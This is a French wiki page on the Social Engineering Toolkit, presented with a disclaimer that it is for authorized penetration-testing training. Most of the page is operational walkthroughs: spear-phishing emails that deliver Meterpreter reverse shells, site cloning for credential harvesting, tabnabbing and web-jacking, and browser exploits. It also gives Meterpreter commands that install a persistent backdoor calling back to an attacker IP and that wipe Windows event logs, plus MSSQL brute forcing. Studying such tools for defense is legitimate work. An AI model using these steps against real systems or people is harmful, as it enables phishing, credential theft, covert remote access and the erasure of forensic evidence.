Social Engineering Toolkit

De wiki.nexiat.fr
Aller à la navigation Aller à la recherche

🔒 Contenu de sécurité — usage encadré

Cette page décrit des techniques de sécurité offensive à des fins exclusivement pédagogiques et professionnelles (formation, préparation de certification, montée en compétence défensive).

Ces techniques ne doivent être mises en œuvre que dans un laboratoire isolé ou sur un système pour lequel vous disposez d'une autorisation écrite explicite du propriétaire. Les employer contre un système tiers sans autorisation est une infraction pénale (art. 323-1 et suivants du Code pénal). Voir les avertissements généraux.

Fiche express
Type Framework d'ingénierie sociale
Auteur David Kennedy (TrustedSec)
Binaire setoolkit
Voir aussi Search email collector · Veil

Le Social Engineering Toolkit (SET) est un framework regroupant des outils permettant d'attaquer une victime par la tromperie. Conçu par David Kennedy, il est devenu un standard de l'arsenal du testeur d'intrusion.

Le social engineering consiste à faire réaliser à une personne une action qu'elle ne ferait pas normalement, par tromperie, usurpation ou négligence.

Installation

cd /pentest/exploits/
git clone https://github.com/trustedsec/social-engineer-toolkit/ set/
  • Social-Engineering Attacks
  • Fast-Track Penetration Testing
  • Third Party Modules
  • Update the Metasploit Framework
  • Update the Social-Engineer Toolkit
  • Update SET configuration
  • Help, Credits, and About
  • Exit

Effacement des journaux (irb)

Depuis meterpreter, ouvrir puis vider les journaux d'événements Windows :

log = client.sys.eventlog.open('system')
log = client.sys.eventlog.open('security')
log = client.sys.eventlog.open('application')
log = client.sys.eventlog.open('directory service')
log = client.sys.eventlog.open('dns server')
log = client.sys.eventlog.open('file replication service')
log.clear

Persistance (backdoor)

Après avoir obtenu un shell meterpreter, mettre en place une porte dérobée persistante :

run persistence -h

Options principales : -A (démarre un multi/handler correspondant), -S (démarre en service système), -U (démarre à l'ouverture de session), -i (secondes entre deux tentatives), -p (port d'écoute de l'attaquant), -P (payload, reverse_tcp par défaut), -r (IP de l'attaquant).

run persistence -U -A -i 10 -p 8090 -r 192.168.10.109

Configuration setoolkit

/usr/bin/setoolkit
WEBATTACK_PATH=ON
SELF_SIGNED_APPLET=ON
AUTO_DETECT=OFF
APACHE_SERVER=ON

Spear-phishing

Attaque via des fichiers envoyés par e-mail :

setoolkit
 1) Social-Engineering Attacks
 1) Spear-Phishing Attack Vectors
 1) Perform a Mass Email Attack
 10) Adobe Collab.getIcon Buffer Overflow
 2) Windows Meterpreter Reverse_TCP
 IP address for the payload listener: 192.168.0.12
 Port to connect back on [443]:
 1. Keep the filename, I don't care.
 1. E-Mail Attack Single Email Address
 1. Pre-Defined Template
 3: Status Report
 Send email to: ***@**.com
 1. Use a gmail Account for your email attack
 Flag this message/s as high priority? [yes|no]: yes
 Setup a listener [yes|no]: yes
sessions -i 1
shell

Vecteurs d'attaque web

Applet Java : crée une page web (signée ou non) lançant une application Java dans le navigateur pour y injecter un payload. On part d'une imitation de site, on recense des e-mails via theharvester.py, puis on envoie des mails invitant à se connecter. La cible clique et accepte l'applet.

 1) Social-Engineering Attacks
 2) Website Attack Vectors
 1) Java Applet Attack Method
 2) Site Cloner
 Are you using NAT/Port Forwarding [yes|no]: no
 IP address or hostname for the reverse connection: 192.168.0.12
 2. Use the applet built into SET.
 Enter the url to clone: http://site-cible.exemple.tld
 2) Windows Reverse_TCP Meterpreter
 3) Multi-Encoder
 PORT of the listener [443]: 443

Exploit côté client

Exploite des failles navigateur (jusqu'aux zero-days) :

 1) Social-Engineering Attacks
 2) Website Attack Vectors
 2) Metasploit Browser Exploit Method
 2) Site Cloner
 IP address or hostname for the reverse connection: 192.168.0.12
 Enter the url to clone: http://site-cible.exemple.tld
 34) Microsoft Internet Explorer "Aurora" Memory Corruption (2010-01-14)
 1) Windows Shell Reverse_TCP
 Port to use for the reverse [443]: 443

Récolte d'identifiants

 1) Social-Engineering Attacks
 2) Website Attack Vectors
 3) Credential Harvester Attack Method
 2) Site Cloner
 IP address for the POST back in Harvester/Tabnabbing: 192.168.0.12
 Enter the url to clone: http://site-cible.exemple.tld
 All files have been copied to /var/www
  • Tabnabbing : piège une cible ayant plusieurs onglets ouverts ; un message « merci de patienter » précède une demande d'authentification sur le site usurpé, puis redirection vers le vrai site.
  • MLITM (Man-Left-In-The-Middle) : utilise les référents HTTP sur un site déjà compromis par XSS.
  • Web-Jacking : présente un clone du site ; le survol affiche le vrai lien, mais le clic redirige vers le site malveillant (iframe temporisée, événement onclick modifiant le lien via config/set_config).
 1) Social-Engineering Attacks
 2) Website Attack Vectors
 5) Web Jacking Attack Method
 2) Site Cloner
 IP address for the POST back in Harvester/Tabnabbing: 192.168.0.19
 Enter the url to clone: http://site-cible.exemple.tld/index.php?title=Special:Connexion
 [!] Apache may be not running, do you want SET to start the process? [y/n]: y
  • Multi-Attack : combine plusieurs attaques sur une même page web pour limiter les échecs.
 6) Multi-Attack Web Method
 Enter the url to clone: http://exemple.tld
 Enter selections one at a time (8 to finish): 1 (applet java)
 Enter selections one at a time (8 to finish): 2 (metasploit browser)
 Enter selections one at a time (8 to finish): 5 (web jacking)
 Enter selections one at a time (8 to finish): 8 (finish)
 2) Windows Reverse_TCP Meterpreter
 4) Backdoored Executable (best)
 PORT of the listener [443]: 443
 1) MS14-012 Microsoft Internet Explorer TextRange Use-After-Free (2014-03-11)
 exploit -j
 migrate -f

Générateur de médias infectés

Crée des autorun pour clé USB ou CD-ROM. Vecteur Teensy USB HID (Human Interface Device) : émule une frappe clavier très rapide déposant un Wscript qui télécharge un payload Metasploit.

Fast-Track

Anciennement écrit en Python, Fast-Track est intégré à setoolkit et complète les exploits SET (attaque de cartes DRAC, exploitation PowerShell…).

Injection SQL / scan MSSQL :

 2) Fast-Track Penetration Testing
 1) Scan and Attack MSSQL
 Enter the CIDR or single IP (ex. 192.168.1.1/24):
 Enter path to a wordlist file [use default wordlist]:
 Enter the username to brute force [sa]:

Voir aussi